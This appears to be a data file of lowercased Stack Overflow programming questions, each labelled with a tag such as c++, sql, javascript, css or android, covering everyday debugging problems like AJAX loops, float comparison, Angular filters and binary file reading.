<pre><code>#include&lt;iostream&gt; #include&lt;iomanip&gt; #include&lt;algorithm&gt; #include&lt;vector&gt; using namespace std; int main() {     long long x  y  t;     cin &gt;&gt; x &gt;&gt; y;     cout &lt;&lt; endl;     vector&lt;long long&gt; stack(x);     for (long long i = 0; i &lt; x; i++)     {         cin &gt;&gt; stack[i];     }     cout &lt;&lt; endl;     vector&lt;long long&gt;::pointer ptr = &amp;stack[0];     while (cin &gt;&gt; t)     {         if (t == 1)         {             if (ptr != &amp;stack[0])                 ptr--;          }         if (t == 2)         {             if (ptr != &amp;stack[x - 1])                 ptr++;         }         if (t == 3)         {             if (*ptr != 0)                 *ptr = *ptr - 1;         }         if (t == 4)         {             if (*ptr &lt; y)                 *ptr = *ptr + 1;         }         if (t == 0)             break;     }     cout &lt;&lt; endl;     for (long long i = 0; i &lt; x; i++)     {         cout &lt;&lt; stack[i];     }     return 0; } </code></pre>,c++
sql table a left join table b and top of table b  im working myself into an sql frenzy  hopefully someone out there can help!    i ve got 2 tables which are basically records and outcomes  i want to join the 2 tables together  count the number of outcomes per record (0 or more) which i ve got quite easily with:    <pre><code>select records.id  (isnull(count(outcomes.id) 0)) as outcomes from records left join outcomes on records.id = outcomes.id group by records.id </code></pre>   the outcomes table also has a timestamp in it  what i want to do is include the last outcome in my result set  if i add that the my query it generates a record for every combination of records to outcomes.     can any sql expert point me in the right direction     cheers,sql
making multiple ajax calls within a for loop  i m a relative newbie to javascript and i m trying to make multiple ajax calls within a for loop. it loops through the elements of an array using a different url for an ajax call each time it goes through the loop. the problem is that the value of the variable  test  is always equal to  condition4 . i m used to other languages where the value of  test  would be  condition1   then  condition2  etc as it goes through the for loop. here is a simplified version of my code:   <pre><code>var mydata = []; var cnt = 0; var link; var mycounter = 0; var myarray = [ condition1    condition2    condition3    condition4 ];  for (x = 0; x &lt; myarray.length; x++) {     link =  https://test.com/  + myarray[x];     mycounter = x;     getjson(function (results) {         for (i = 0; i &lt; results.data.length; i++) {             var id = results.data[i].identifier;             var test = myarray[mycounter];             mydata[cnt] = {  id : id   test : test };             cnt++;         }     }); }  function getjson(callback) {     $.ajax({         url: link          type:  get           datatype:  json           success: function (results) {             callback(results);         }     }); } </code></pre>,javascript
$injector.instantiate vs $injector.get vs $injector.invoke in angularjs  what are the differences between <code>$injector.instantiate</code>  <code>$injector.get</code> and <code>$injector.invoke</code> in angularjs,angularjs
comparing two floats/doubles in c++  i read that floats/doubles equality should be implemented using an interval (given by some epsilon):   <pre><code>bool aresame(double a  double b) {     return (fabs(a-b) &lt; epsilon); } </code></pre>   is their any predefined value of epsilon that i can use or do i have to define it myself  something like  <code>0.0000000001</code>,c++
prototypes are correct but garbage values are displayed in the output  the prototype (<code>void example();</code>) i have mentioned for the program is correct  but the compiler is giving garbage value instead of correct values in the output.<br> what codes should be added or removed     here is my code:   <pre><code>#include &lt;stdio.h&gt; #include&lt;conio.h&gt; #include &lt;stdlib.h&gt;  void example() {   static int x = 10;   x=x+10;   printf( \n%d  &amp;x); }  int main() {   int i;   for(i=0;i&lt;=3;i++)   {     example();   }   getch();   return 0; } </code></pre>,c
angular filter results when user clicks on repeat  i am trying to create an angular filter that allows users to click on a record and have the filter then show only that one record within the same repeater.    for example  when a person searches for last name  knight   they see some results.  then  when the user clicks on the specific record they want  they should see only that one record displaying in the repeater.    <a href= https://i.stack.imgur.com/tabrg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tabrg.png  alt= enter image description here ></a> my html is this:   <pre><code>&lt;md-list-item class= md-3-line  ng-repeat= value in ctrl.results  ng-click= ctrl.showrecord(value) &gt;     &lt;div class= md-list-item-text  layout= column &gt;         &lt;h4&gt;employee id: &lt;b&gt;{{ value.employeeid }}&lt;/b&gt;&lt;/h4&gt;         &lt;h4&gt;netid: &lt;b&gt;{{ value.netid }}&lt;/b&gt;&lt;/h4&gt;         &lt;p&gt;name: {{ value.preferredfirstname }} {{ value.preferredlastname }}&lt;/p&gt;     &lt;/div&gt; &lt;/md-list-item&gt; </code></pre>   and it passes the selected record to my controller in this function:   <pre><code>vm.showrecord = function (selectedrecord  ev) {                 //need my filter here }; </code></pre>   i have looked over a number of the examples on filters  but i don t quite see how to make the filter update the very same repeat that the user clicked on.   <hr>   **  edit to show answer based on tom chen s work **    for anyone doing this with controller as syntax  here is the answer. html:   <pre><code>&lt;md-list-item class= md-3-line  ng-repeat= value in ctrl.results | filter:ctrl.selectedid   ng-click= ctrl.showrecord(value.employeeid) &gt; &lt;div class= md-list-item-text  layout= column &gt; &lt;h4&gt;employee id: &lt;b&gt;{{ value.employeeid }}&lt;/b&gt;&lt;/h4&gt; &lt;h4&gt;netid: &lt;b&gt;{{ value.netid }}&lt;/b&gt;&lt;/h4&gt; &lt;p&gt;name: {{ value.preferredfirstname }} {{ value.preferredlastname }}&lt;/p&gt; &lt;/div&gt; &lt;/md-list-item&gt; </code></pre>   controller:   <pre><code>vm.showrecord = function (selectedrecord) { vm.selectedid = selectedrecord; }; </code></pre>,angularjs
popup uipickerview when button is pressed  is there something wrong with this code because when i press the button to pop up the  <code>uipickerview</code>.  nothing happens. why is that   <pre><code>  -(void)pickerview:(id)sender { items =[[nsarray alloc]initwithobjects:@ hindi  @ english  nil];  pickerview=[[uipickerview alloc] initwithframe:cgrectmake(10 100 150 150)];  pickerview.transform = cgaffinetransformmakescale(0.75f  0.75f);  pickerview.delegate = self;  pickerview.datasource = self;  pickerview.showsselectionindicator = yes;  pickerview.backgroundcolor = [uicolor clearcolor];  [pickerview selectrow:1 incomponent:0 animated:yes];  }  - (nsinteger)numberofcomponentsinpickerview:(uipickerview *)pickerview; {  return 1;  }  - (nsinteger)pickerview:(uipickerview *)pickerview numberofrowsincomponent:(nsinteger)component; {  return [items count];    }  - (nsstring *)pickerview:(uipickerview *)pickerview titleforrow:(nsinteger)row forcomponent:(nsinteger)component {  return[items objectatindex:row];  } </code></pre>   can someone please tell me what is wrong with this code.,iphone
minsdk and targetsdk  enlighten me in a simple way. based on my understanding  if you have a minsdk set to 14 and target sdk to 19 means that your app can use the new features of the api 19 and is backward compatible up to 14.    so your app is compatible in versions 14 to 19 and not compatible below 14. is that right,android
php how to check if condition for unicode password  iam new to php. i need to check whether newpassword(unicoded) variable is empty or null. if the value is a normal string  i could have checked as <code>if($newpass){echo  inside if }</code>  but unforutnately  $newpassword value is getting a different value.    <strong>below is the code:</strong> (which is already written by someone  i need to fix it)   <pre><code>                                if($newpassword !=   ){ print_r( inside if );                                 $userdata[ unicodepwd ] = $newpassword;                                                              }  var_export($userdata); </code></pre>   i am sure there is something wrong in the code  but iam not able to fix it. ultimately i should be able to check if $newpassword have some value  then it should go inside if. sorry if its a dumb query.,php
html numeric input allow 6 digits only  i have a input. i want only numeric values. and i want there to be six numbers only. how do i do it  i have:   <pre><code>&lt;input type= number  placeholder= yymmdd  id= mykada  maxlength= 6  style= width:90px !important  onchange= checkmykad()  size= 8   class= form-control block-centered ic-input  required&gt;  </code></pre>   there is a css to remove the scroll bar from the input boxes.                          <pre><code>input[type= number ]::-webkit-inner-spin-button   input[type= number ]::-webkit-outer-spin-button {      -webkit-appearance: textfield;  } </code></pre>   previously it was <code>input type= text </code>  and <code>maxlength= 6 </code> limited it to six chars long. how do i now specify a number 6 digit only,html
.net dns.gethostaddresses(domain) - return ipv6 address  i ve searched on this quite a bit and i m still not having any luck. the issue is  if i nslookup from my server  if the host has an ipv6 address  i see it in the list. however  if i use .net system.net s dns.gethostaddresses(domain)  it only returns ipv4 addresses.    with a lot of reading  i found this: ipv6 addresses are filtered from the results of the gethostaddresses method if the local computer does not have ipv6 installed.    i m in an ipv4 only network. i don t need to ping or have actual network connectivity  i only need to return an ipv6 address for a host if it has one  which like i said  works with nslookup from the same server.    could anyone tell me how to get an ipv6 address using .net  even if you happen to be in an ipv4 only network     thanks,.net
how to unlock a css file locked in developer mode  can somebody please explain to me what this means    <pre><code>/* this is the main css file. it is currently in developer mode  where separating styles according to which objects they describe will hopefully make it easier to create new themes.  using @import is slow and generates an extra request per file  so when it is time to release the page  use the following command in the root of the project </code></pre>,css
how to display a dynamically generated full html page from within an angular single page app   i have an angular js app.  one of the things it does is call a service that returns a string with a full html page. not a fragement. so the following string is available within angular app:   <pre><code>  &lt;html&gt; some content &lt;/html&gt;   </code></pre>   how can it redirect the user to a page or view that will display the full html page     note  its not a fragment  and not practical to slice it up and put as subview in angular that can be snapped in. hence the question.    thanks,angularjs
size of each record in a binary file  i have a binary file and i will be using fread to read the data from this binary file into an array of structures.     however  i don t know what value to pass to fread as its second argument. i know the file size is 536870912 bits. the binary file was constructed on the basis of being accessed for a 512^3 array. this means each data entry is of type float in the binary file with 4 bytes specified for each data element.    i made an error with the mention of bits. i read what was outputted by a c program finding the size of the file - it outputted 536870912 bits! apologies to anyone confused.    here is the code i m using to read the data from the binary file into my arrary of structures (a simplified structure - there are 10 other parameters!)   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt;  // define the model structure struct model {         float density; };   // entry point for the program int main () {     int counter;     long lsize;     char * buffer;     size_t result;     file *pfile;     int i j k ibox;         /* loop indices for the physical grid */      struct model ***mymodel;      pfile = fopen( core1_dens_0107.bin   rb );     if (pfile == null) { printf( unable to open density file! ); exit(1); }      // obtain file size:     fseek (pfile   0   seek_end);     lsize = ftell (pfile);     rewind (pfile);      printf(  file size : %lu bits \n   lsize );      for ( j = 0 ; j &lt; 512 ; j++ ) {         for ( k = 0; k &lt; 512; k++ ) {             for ( i = 0; i &lt; 512; i++ ) {           fread(&amp;mymodel[i][j][k].density 4 1 pfile);               printf( %f \n  mymodel[i][j][k].density);             }         }     }                     fclose(pfile);     return 0; } </code></pre>,c
how do i center text between 2 icons + force icons to stay in middle of list   sorry for my horrible wording in the title.    basically  i want to center text (especially longer text) between 2 icons in a list  but i want the icon to stay in the center of the list as the input becomes larger. this is my attempt at a jsfiddle: <a href= https://jsfiddle.net/39jl0al7/  rel= nofollow noreferrer >https://jsfiddle.net/39jl0al7/</a>    i have my css set up with the <code>abc</code>  <code>left</code> and <code>right</code> sides that make up the list.    in the js fiddle  i have what i currently came up with. what i want it to look like is this:    <a href= https://i.stack.imgur.com/zecfi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zecfi.png  alt= enter image description here ></a>    any help would be appreciated.,css
jquery - event listeners: why does only one of the scripts work   i am running rails 3.1 and have the following jquery script in a file /app/assets/javascripts/procedures.js.   <pre><code>$(document).ready(function(){   $( .unselected ).click(function() {     $(this).removeclass( unselected );     $(this).addclass( selected );   });    $( .selected ).click(function() {     $(this).removeclass( selected );     $(this).addclass( unselected );   }); }); </code></pre>   the first action works as expected (selecting)  but unselecting does not work.    on the other hand  this script works as expected.   <pre><code>$(document).ready(function(){   $( .tile ).click(function () {     if ($(this).hasclass( selected )) {       $(this).removeclass( selected );       $(this).addclass( unselected );     } else if ($(this).hasclass( unselected )) {       $(this).removeclass( unselected );       $(this).addclass( selected );     }      });  }); </code></pre>   is it because event listeners are only assigned when the script is first run,jquery
position in python lists  i am trying to write a code for operation between each element with all the other elements of a list but not with itself. below is the code.   <pre><code>list = [10 20 30 30 40 50 50 50 60 70]; for i in list:         sum=i;         for j in list:                 if list.index(i) != list.index(j):                        s=(50-((j-i)/2))*0.13;                        sum+=s;           print( score of %d is %f %(i sum)); </code></pre>   but still the code is not working. it is not satisfying the <code>if</code> condition of positions.,python
copy constructor called everytime a default constructor is called   i was going through some of the questions on constructor initialization list when i bumped into this.    consider this:   <pre><code>class student {     public:         student() {             id = 0;         }         student(int i) {             id = i;         }     private:         int id; }; </code></pre>   now  check this out:   <blockquote>    by the time you get in the body of the constructor  all fields have already been constructed; if they have default constructors  those were already called. now  if you assign a value to them in the body of the constructor  you are calling the copy constructor. that is inefficient  because two constructors end up being called instead of one.   </blockquote>   source: <a href= https://stackoverflow.com/questions/1272680/what-does-a-colon-following-a-c-constructor-name-do >what does a colon following a c++ constructor name do </a>    <strong>so  does it mean that when i call the parameter-less constructor  the copy constructor is also being called </strong>    please explain. this is really confusing.    particularly the meaning of the first line:   <blockquote>    by the time you get in the body of the constructor  all fields have already been constructed  </blockquote>,c++
problem with ä ö  å etc. characters in mysql 5  i have mysql 5.xx running on linux system. my application writes correctly ä  ö  å etc. characters to database and even gets these values correctly. but when i use where to filter search for char  ä   it will return also strings that contain  a  chars. why mysql thinks that a is equal to ä      example query:    select column from table where field= %ä% ;,mysql
how to implement script to rails app   i need to add hotjar code to my app. i did it this way:    <strong>views/services/_hotjar.html.erb</strong>   <pre><code>&lt;script&gt;     (function(h o t j a r){         h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};         h._hjsettings={hjid:140457 hjsv:5};         a=o.getelementsbytagname( head )[0];         r=o.createelement( script );r.async=1;         r.src=t+h._hjsettings.hjid+j+h._hjsettings.hjsv;         a.appendchild(r);     })(window document  //static.hotjar.com/c/hotjar-   .js sv= ); &lt;/script&gt; </code></pre>   <strong>views/layouts/application.html.erb</strong>   <pre><code>&lt;head&gt;   .   .   &lt;%= render partial:  services/google_analytics  %&gt;   &lt;%= render partial:  services/hotjar  %&gt; &lt;/head&gt; </code></pre>   this way hotjar works only at first opened page (i m not sure about it  but however it doesn t work well). you may see the same thing that i ve done with google analytic  but it works good  because here is one difference  it renders this code on every page:     <strong>views/layouts/application.html.erb</strong>   <pre><code>&lt;body&gt; . .   &lt;script&gt;     ga( send    pageview    &lt;%= request.path %&gt; );   &lt;/script&gt; &lt;/body&gt; </code></pre>   i m sure  this is not right way. but how to do it right,ruby-on-rails
first uibarbutton disappears when second one is added  i am working on ios bar button icon where i have to display uisegmented control with two uibarbutton icon on the right site but when i try to add second button using interface builder  the first added button get disappears    this is how the view is added: view->navigation bar->navigation item-> barbutton item-> button    can anyone help me to find the possible solution,ios
reading system.out java test  i have a task to test a console application. i can access one method  but would also like to check that the string formatting is working correctly.     as this method does not return a string  but rather prints to the console  is there a way i can intercept the list printed line     does it even make sense to test this sort of thing,java
how to change font-size of a tag using inline css   can t change font-size of a tag for given below code   <pre><code>&lt;td valign= top  width= 620 &gt;&lt;strong&gt;&lt;a href= images/pub/pub1.pdf  target= _self &gt;factsheet of the osce border management staff college&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style= font-size: 11px; color: #aaaaaa; &gt;14 june 2013&lt;/span&gt;&lt;/strong&gt; </code></pre>   tried:   <pre><code>&lt;td valign= top  width= 620 &gt;&lt;strong&gt;&lt;a style= font-size:14px;  href= images/pub/pub1.pdf  target= _self &gt;factsheet of the osce border management staff college&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style= font-size: 11px; color: #aaaaaa; &gt;14 june 2013&lt;/span&gt;&lt;/strong&gt; </code></pre>   nothing changed;   <pre><code>&lt;td valign= top  width= 620 &gt;&lt;strong&gt;&lt;a class= pub  href= images/pub/pub1.pdf  target= _self &gt;factsheet of the osce border management staff college&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style= font-size: 11px; color: #aaaaaa; &gt;14 june 2013&lt;/span&gt;&lt;/strong&gt;  a.pub { font-size: 14px; } </code></pre>   no changes;   <pre><code>&lt;td class= pub  valign= top  width= 620 &gt;&lt;strong&gt;&lt;a  href= images/pub/pub1.pdf  target= _self &gt;factsheet of the osce border management staff college&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style= font-size: 11px; color: #aaaaaa; &gt;14 june 2013&lt;/span&gt;&lt;/strong&gt;  td.pub { font-size: 14px; } </code></pre>   no effects; it is using font of a tag from style.css file i want to change font-size for only this a tag. any ideas what i am doing wrong,css
print form on the full page instead of a part of it  i want to print my form on the whole page but instead the picture looks like this :    <a href= http://i.stack.imgur.com/jsxh2.jpg  rel= nofollow >http://i.stack.imgur.com/jsxh2.jpg</a>    it looks very small that s why i need the form to be printed on the whole full page    here is my code :    <pre><code>private void button5_click(object sender  eventargs e)     {         capturescreen();         printdocument1.print();      }      private bitmap _memoryimage;      private void capturescreen()     {         // put into using construct because graphics objects do not          //  get automatically disposed when leaving method scope         using (var mygraphics = creategraphics())         {             var s = size;             _memoryimage = new bitmap(s.width  s.height  mygraphics);             using (var memorygraphics = graphics.fromimage(_memoryimage))             {                 memorygraphics.copyfromscreen(location.x  location.y  0  0  s);             }         }     }      private void printdocument1_printpage(object sender  system.drawing.printing.printpageeventargs e)     {            var wscale = e.marginbounds.width / (float)_memoryimage.width;         var hscale = e.marginbounds.height / (float)_memoryimage.height;          // choose the smaller of the two scales         var scale = wscale &lt; hscale   wscale : hscale;          // apply scaling to the image         e.graphics.scaletransform(scale  scale);          // print to default printer s page         e.graphics.drawimage(_memoryimage  0  0);      } </code></pre>   your help would be appreciated,c#
error in simple list adapter  i m trying to display multiple list view using simple list adapter but my application crashes when i m going to the set the adapter here is my code;    my logcat view is this when my program crashes   <pre><code>11-11 09:03:06.147: debug/androidruntime(789): &gt;&gt;&gt;&gt;&gt;&gt; androidruntime start com.android.internal.os.runtimeinit &lt;&lt;&lt;&lt;&lt;&lt;     11-11 09:03:06.147: debug/androidruntime(789): checkjni is on     11-11 09:03:06.907: debug/androidruntime(789): calling main entry com.android.commands.pm.pm     11-11 09:03:06.937: debug/androidruntime(789): shutting down vm     11-11 09:03:06.957: debug/dalvikvm(789): gc_concurrent freed 101k  71% free 297k/1024k  external 0k/0k  paused 3ms+1ms     11-11 09:03:06.957: debug/dalvikvm(789): debugger has detached; object registry had 1 entries     11-11 09:03:06.987: info/androidruntime(789): note: attach of thread  binder thread #3  failed     11-11 09:03:07.547: debug/androidruntime(799): &gt;&gt;&gt;&gt;&gt;&gt; androidruntime start com.android.internal.os.runtimeinit &lt;&lt;&lt;&lt;&lt;&lt;     11-11 09:03:07.547: debug/androidruntime(799): checkjni is on     11-11 09:03:08.267: debug/androidruntime(799): calling main entry com.android.commands.am.am     11-11 09:03:08.307: info/activitymanager(68): force stopping package com.flds uid=10052     11-11 09:03:08.307: info/process(68): sending signal. pid: 779 sig: 9     11-11 09:03:08.457: info/activitymanager(68): starting: intent { act=android.intent.action.main cat=[android.intent.category.launcher] flg=0x10000000 cmp=com.flds/.testssactivity } from pid 799     11-11 09:03:08.487: debug/androidruntime(799): shutting down vm     11-11 09:03:08.507: debug/dalvikvm(799): gc_concurrent freed 102k  69% free 322k/1024k  external 0k/0k  paused 1ms+2ms     11-11 09:03:08.537: info/activitymanager(68): start proc com.flds for activity com.flds/.testssactivity: pid=808 uid=10052 gids={}     11-11 09:03:08.547: warn/inputmanagerservice(68): window already focused  ignoring focus gain of: com.android.internal.view.iinputmethodclient$stub$proxy@4059a5e8     11-11 09:03:08.577: info/androidruntime(799): note: attach of thread  binder thread #3  failed </code></pre>   code   <pre><code>public class testssactivity extends activity {      private simpleadapter mschedule;     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);          listview list = (listview) findviewbyid(r.id.schedule);          arraylist&lt;hashmap&lt;string  string&gt;&gt; mylist = new arraylist&lt;hashmap&lt;string  string&gt;&gt;();          hashmap&lt;string  string&gt; map = new hashmap&lt;string  string&gt;();         map.put( train    101 );         map.put( from    6:30 am );         map.put( to    7:40 am );         mylist.add(map);          mschedule = new simpleadapter(this  mylist  r.layout.row new string[] { train    from    to }  new int[] {r.id.train_cell  r.id.from_cell  r.id.to_cell});        list.setadapter(mschedule);      }  } </code></pre>,android
how to get current year to date and prior year to date in sql  suppose my date range is current: 01-jan-2015 to 17-feb-2015.    i need the data for 01-jan-2014 to 17-02-2014 also.    how to write the query in sql     i want to get the data for these cyd and pyd.,sql
move a color shade down in color picker programatically   i have an input box where the user can set the color of an object. i want to add a check box that the user clicks that says  make 3d  which adds a text-shadow effect to the object to give it a 3d appearance. the 3d effect needs a lighter shade of the base color to make it look correct. if i want to use the base color as a start  and programatically move one shade lighter for the first text shadow  two shades lighter for the second shadow etc. is that possible     they can input any color they want  but the text-shadow should use that input and move one or two shades lighter at a time.     <strong>html</strong>   <pre><code>&lt;p&gt;object color:&lt;input type= text  class= object_color  value= ff8000  id= object_color &gt;&lt;/p&gt; </code></pre>  <hr>   <strong>css to add to object</strong>   <pre><code> text-shadow: 0 1px 0 #one-shade-lighter-than-ff8000                 0 2px 0 #one-shade-lighter-than-ff8000                 0 3px 0 #two-shades-lighter-than-ff8000                 0 4px 0 #two-shades-lighter-than-ff8000                 0 5px 0 #three-shades-lighter-than-ff8000                 0 6px 1px rgba(0 0 0 .1)                 0 0 5px rgba(0 0 0 .1)                 0 1px 3px rgba(0 0 0 .3)                 0 3px 5px rgba(0 0 0 .2)                 0 5px 10px rgba(0 0 0 .25)                 0 10px 10px rgba(0 0 0 .2)                 0 20px 20px rgba(0 0 0 .15) </code></pre>   i guess ultimately can we subtract colors from one another to move to a new color like   <pre><code>var textshadow = rgb(156  87  135) - rgb(2  4  18) </code></pre>,javascript
@ creating modal window  below is my code on button click i have crated window but i want that window modal .   i do not want to use nspanel.. if u have any sample code forword me also sheet code    <pre><code>- (ibaction)createwindow:(id)pid; {     mywindowcontroler *zwindowcontroller = [[mywindowcontroler alloc]initwithwindownibname:@ myextrawindow ];      nspointwindoworigin.x   += 20.0;     nspointwindoworigin.y   += 15.0;     [zwindowcontroller.window setframeorigin:nspointwindoworigin];     [(mycustomview *)[zwindowcontroller idwidowcustomview] makecolourred:(nspointwindoworigin.x/1200.0)                                                                     green:(nspointwindoworigin.y/400.0)                                                                      blue:(1.0 - ((nspointwindoworigin.x/600.0)))];     [zwindowcontroller showwindow:self];     [array addobject:zwindowcontroller]; } </code></pre>,iphone
adding a class in objective-c  i m new to xcode and i m trying to understand how things work  studying from books  reading tutorials etc.. and i got a minor problem    when i create a new project using   command line tool  if i manually create the class interface  implementation and then write the codes to the main it works perfectly     however  as you know when a project is created through commandlinetool it only provides main.m i click on the file -> add new file and select objective-c class  name the class and then it provides me classname.m and classname.h and when i write the codes they don t work  the main somehow doesn t see the other files i mean main and class.h and class.m are not connected i think because when i start writing   <pre><code>classname *newclassname= [[classname alloc] init]; </code></pre>   the classname doesn t show up so any suggestions what am i doing wrong   i am sorry for my bad english and thanks in advance,objective-c
sql query for text file which is to be displayed via a data table  i had a vb.net app which used ms access database. but now the database is converted to a text file and the fields of the database to be displayed via a data table. the problem is one of the functions of the program is not working properly  which did not show any trouble in previous format. it is a query function <code>(mystr =  select id  word from words where   &amp; myval &amp;   order by id  [word] asc )</code>. kindly help me. the code of the function is given below.   <pre><code>function showwords(byref mybox as listview  byval myval as string  optional byval track as integer = 0) as boolean         if track = 0 then             if len(myval) = 1 then myval =  len(word)&gt;=1 and len(word)&lt;=40 and left(word    &amp; len(myval) &amp;  )=    &amp; myval.substring(0  1) &amp;      myval.substring(1) &amp;                 if len(myval) = 2 then myval =  len(word)&gt;=2 and len(word)&lt;=45 and left(word    &amp; len(myval) &amp;  )=    &amp; myval.substring(0  2) &amp;                 if len(myval) = 3 then myval =  len(word)&gt;=3 and len(word)&lt;=50 and left(word    &amp; len(myval) &amp;  )=    &amp; myval.substring(0  3) &amp;                 if len(myval) = 4 then myval =  len(word)&gt;=4 and len(word)&lt;=65 and left(word    &amp; len(myval) &amp;  )=    &amp; myval.substring(0  4) &amp;         try                 lvwords.items.clear()                 if myval =    then                     exit function                 end if                 dim mystr as string = nothing                 mystr =  select id  word from words where   &amp; myval &amp;   order by id  [word] asc                   dim objcmd as new oledbcommand(mystr  objconn)                 dim rs as oledbdatareader = objcmd.executereader                 if rs.hasrows then                     dim xitem as listviewitem                     do while rs.read                         xitem = mybox.items.add(rs( id )  iif(isdbnull(rs( word ))      rs( word ))    )                     loop                 else                     showwords = false                     exit function                 end if             catch ex as exception                 msgbox(ex.message)                 showwords = false                 exit function             end try         elseif track = true then             showwords = track             exit function         end if         showwords = true     end function </code></pre>,.net
why is principalcontext validatecredentials throwing an exception when given incorrect credentials   i m trying to authenticate the user.  authentication through principalcontext works fine with the correct username and password  but when testing with incorrect credentials  validatecredentials throws a system.exception rather than returning false.  the exception simply states that  the user name or password is incorrect .  the stack trace is as follows:    <pre><code>   at system.directoryservices.accountmanagement.unsafenativemethods.iads.get(string bstrname)    at system.directoryservices.accountmanagement.credentialvalidator.bindsam(string target  string username  string password)    at system.directoryservices.accountmanagement.principalcontext.validatecredentials(string username  string password)    at hcv.core.authenticationsystem.services.windowsauthenticationservice.&lt;&gt;c__displayclass3_0.&lt;authenticateasync&gt;b__0()    at system.threading.tasks.task`1.innerinvoke()    at system.threading.executioncontext.run(executioncontext executioncontext  contextcallback callback  object state)  string </code></pre>   and the code is pretty straight forward:   <pre><code>using (var pc = new principalcontext(_contexttype  _domain)) {     var isauthenticated = pc.validatecredentials(username  password);     return isauthenticated; } </code></pre>   i am currently working around this by catching the error  checking the message and returning false if it s the incorrect username or password message and rethrowing if not  but that feels hacky.      does anyone have any idea why the exception is being thrown rather than simply returning false for invalid credentials,c#
multiple definition of `node::node(int  std::string  std::string  std::string  float)   this is my node.h file   <pre><code>#ifndef node_h_included #define node_h_included  using namespace std;  class node {     private:         int rollnumber;         string fname; // first name         string lname; // last name         string batch;         float gpa;          int height; // height of node         int balancefactor;          node * lc; // left child         node * rc; // right child      public:         // constructor         node(int in_rollnum  string in_fn  string in_ln  string in_batch  float in_gpa); };  #endif // node_h_included </code></pre>   and this is my node.cpp file   <pre><code>#include&lt;iostream&gt; #include  node.h   // constructor definition node::node(int in_rollnum  string in_fn  string in_ln  string in_batch  float in_gpa) {     rollnumber = in_rollnum;     fname = in_fn;     lname = in_ln;     batch = in_batch;     gpa = in_gpa;      height = 0;     balancefactor = 0;      lc = null;     rc = null; } </code></pre>   i am getting an error of multiple definition of node constructor  please point out the mistake or correct it. i want the header and .cpp files separately so that is why i was doing it like this  i do know how to do it in the same file. but  i want the declaration and implementation separately.,c++
navigation bar back button color  i am unable to change the color of navigation bar back button. any help  i customized the uinavigationbar class but i m unable to change the back button color.   <pre>uinavigationbar class code  #import  #import  uinavigationbar.h   @interface uinavigationbar ( category ) {  }  .m file code  - (void) drawrect:(cgrect)rect  {      [[uiimage imagenamed:@ top.png ] drawinrect:rect];     self.tintcolor = [uicolor colorwithred:38 green:65 blue:82 alpha:1];     }</pre>   i m not able to change the color of the back button.,iphone
get values from sql rows with same name but different values  i need help concerning a sql query. first of all  i have a database with the following structure (example):    <blockquote>    id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value<br>   123&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abc_a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text text text  <br >   123&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abc_a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;some more text  <br >   123&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abc_a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;even more text <br >   123&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abc_b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;some other text  </blockquote>   now  i want to get all the different values of rows with the name  abc_a . i tried to get those via group by and having  without success.,sql
what kind of parser is nsxmlparser  what kind of parser is nsxmlparser.     is it dom parser or sax parser.    how many parsers are there,iphone
equivalent for media= all and min-with:900px  in local stylesheet  the project i m working on has 3 css pages - probably not the best but this is the syntax:   <pre><code>&lt;link href= /cg/ui/css/desktop.css   rel= stylesheet  type= text/css  media= only screen and (min-width:800px)  /&gt; &lt;!-- tablets --&gt; &lt;link href= /cg/ui/css/tablet.css  rel= stylesheet  type= text/css  media= all and (min-width: 600px) and (max-width: 799px)  /&gt; &lt;!-- phones --&gt; &lt;link href= /cg/ui/css/mobile.css  rel= stylesheet  type= text/css  media= all and (min-width: 300px) and (max-width: 599px)  /&gt; </code></pre>   my question is  is there any way to do the same thing on a local stylesheet with those parameters   this does not work:   <pre><code>&lt;style&gt; @media  all and (min-width: 600px) and (max-width: 799px) {         /*this was my first guess  if possible but no works*/ } &lt;/style&gt; </code></pre>   thank you  if possible it will make testing much easier!,css
